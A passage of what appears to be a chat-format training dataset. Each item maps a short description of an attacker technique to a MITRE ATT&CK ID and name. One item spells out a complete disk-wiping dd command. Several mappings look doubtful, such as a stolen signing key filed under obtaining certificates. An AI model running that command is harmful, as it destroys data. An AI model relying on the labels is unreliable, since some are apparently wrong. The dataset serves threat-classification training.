                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During persistence setup, the attacker creates an unquoted service path that includes a malicious executable, leading Windows to execute the attacker's binary instead of the legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors drop a payload onto a compromised machine and then use PowerShell Remoting to move the payload to another host for execution."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised email account was used to reset the password of the associated Pinterest profile, granting full control over the account."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used credential dumping tools to locate and copy the private key of a corporate code‑signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group uses the Azure Automation Runbook API to start a PowerShell runbook that performs data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation tools enumerate peripheral devices to locate removable media that may contain unencrypted credentials."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging the XPC API, the threat actor sends encrypted messages between infected processes to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the NTFS ADS that stores the URL zone information, the malware bypasses Windows' trust controls and executes silently."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerable service configuration to inject a malicious command line argument during service start."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injected malicious scripts into a popular Maven dependency, which were then pulled into the target's build system and executed during the build process."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed the SharePoint REST API to enumerate and download files containing trade secrets."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker re‑uses a legitimate local service account to move laterally to other systems in the network."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a VNC server on the infected machine to enable remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the permissions matrix stored in an access control database, granting themselves read/write access to sensitive records."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Right-to-Left Override characters in Windows shortcut (.lnk) names to reverse the visible text, masking the shortcut's true destination to execute malware."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker captures unencrypted HTTP traffic on a corporate LAN using a packet sniffer."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses Java's GeoPosition class to discover and log the host's physical location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service, the actor calls mshta.exe with a UNC path to a malicious HTA hosted on an internal server."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker posts a malicious comment with a malicious link on a company’s internal Confluence page, targeting administrators."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor encodes exfiltrated logs with a symmetric key and transmits them through a VPN tunnel that is not used for command‑and‑control purposes."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary takes advantage of a vulnerable SUID binary on Linux to execute commands as root."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executes a command to list all USB hubs and devices attached to the computer."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a legitimate API gateway as a proxy, sending TLS handshakes with a different domain in the SNI field than the one in the HTTP Host header, achieving domain fronting for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group performed credential dumping on domain controllers to obtain privileged accounts, then used those credentials to approve fraudulent expense reimbursements."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests credentials from the keychain on macOS using a custom tool."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses VBA stomping to replace trusted macro procedures with malicious ones, masking the threat as a normal document."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits the Kubernetes API \"/api/v1/persistentvolumes\" to list all persistent volumes and their attributes."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised software update package contains embedded malicious executables that run automatically on install."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses custom Base32 encoding to package stolen files before uploading them to a cloud storage service."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contained a link to a zip file with a Python script that, when executed, establishes a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects a macro that connects to SharePoint, enumerates document libraries, and copies confidential reports to a staging server."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device sets a custom screensaver that runs an encoded command to download additional tools when triggered."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing malware harvested device admin passwords and then re‑configured the network router to accept a custom SSH key controlled by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following a phishing attack, the perpetrator gained access and changed the welcome screen of the internal ticketing system to a defaced version."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a public exploit for a vulnerable FTP daemon to gain remote code execution on the server."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the '7z' command to compress and password‑protect exfiltrated data prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed the C$ share over the network to retrieve system files and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing trojan sets up a symmetric encrypted tunnel using a hard‑coded key to communicate with its handler."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group tampered with the server's transport agent configuration to redirect inbound traffic to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the system, the malware archives data and writes it to any newly connected USB storage."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the attacker runs PowerShell commands to retrieve cached NTLM hashes from the registry."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a service account, the attacker attached an additional IAM role that provides full control over S3 buckets."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before dropping the payload, the adversary runs it through a packer that modifies the import table and encrypts sections."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the user's PowerShell profile to include a base64‑encoded command that runs automatically whenever a new PowerShell session is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compresses large files before exfiltration to stay within the 50 MB email attachment limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code modifies the user's Outlook settings to automatically forward all new messages to an offsite address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers establish a covert channel by sending periodic DNS A record requests to a malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a Windows service abuse, the attacker copies the NTDS.dit file to a remote location for offline cracking of user passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by injecting it into the payloads of periodic ICMP ping messages used for beaconing to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor registers a new Active Setup component with a RunOnce key that points to a PowerShell script, achieving persistence across reboots and user sessions."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary merges data from multiple open‑source sources to create a comprehensive identity dossier of the victim, including birthdate, address history, and employment records."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploited a vulnerable CMS plugin to upload a malicious HTML page, overwriting the company's homepage with a defacement message."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set renamed the trusted task scheduler binary (schtasks.exe) to a benign name and used it to schedule malicious tasks."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a trojanized video file that, when opened with a vulnerable media player, executes the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update replaces the bootloader and then invokes `dd if=/dev/zero of=/dev/mmcblk0 bs=4M` to destroy the storage."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By invoking InstallUtil with a crafted configuration file, the threat actor launched a backdoor without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker appends a malicious function definition to the user's .bash_profile to automatically execute code on shell startup."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors abuse the Outlook Home Page option, inserting a malicious site that loads scripts on Outlook launch for persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT utilized WinRM to connect to a remote Windows server and run a PowerShell script that added a new local admin account."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors post a malicious document on a public cloud storage service and then share the link via a phishing email to persuade victims to open the file."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is delivered by uploading a disguised executable to a cloud storage bucket that the victim's application automatically processes and runs."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker granted themselves the \"Contributor\" role on a victim's Azure subscription to modify resources and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious network provider DLL into the system directory and registers it to hijack authentication requests."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit insecure ACLs on the services registry to modify the start parameters, causing the service to run a malicious command line."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers conduct reverse IP lookups on the victim's web server to discover other sites hosted on the same IP block."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email with a disguised URL leads the victim to a fake software update page that installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware alters the Windows registry to prevent the endpoint protection software from receiving new malware signatures."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious user script embedded in a CI/CD pipeline triggers a request to the Azure metadata service to extract the workload identity token for illicit use."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors steal a user's smart card certificate and replicate it on another device, allowing them to log in as the legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor program reads the Windows registry for stored RDP credentials and transmits them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs PowerShell Get-LocalGroup to identify privilege groups present on the host."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script creates a new registry entry named 'AuthToken' under HKCU\\Environment and writes the token value."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy intrusion leverages traffic signaling via port knocking, requiring the attacker to issue UDP knocks to ports 53, 67, and 123 before the malicious daemon accepts commands."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping from systems already compromised"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised process called the Windows API 'MoveFileEx' with MOVEFILE_DELAY_UNTIL_REBOOT to delete files on next boot."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
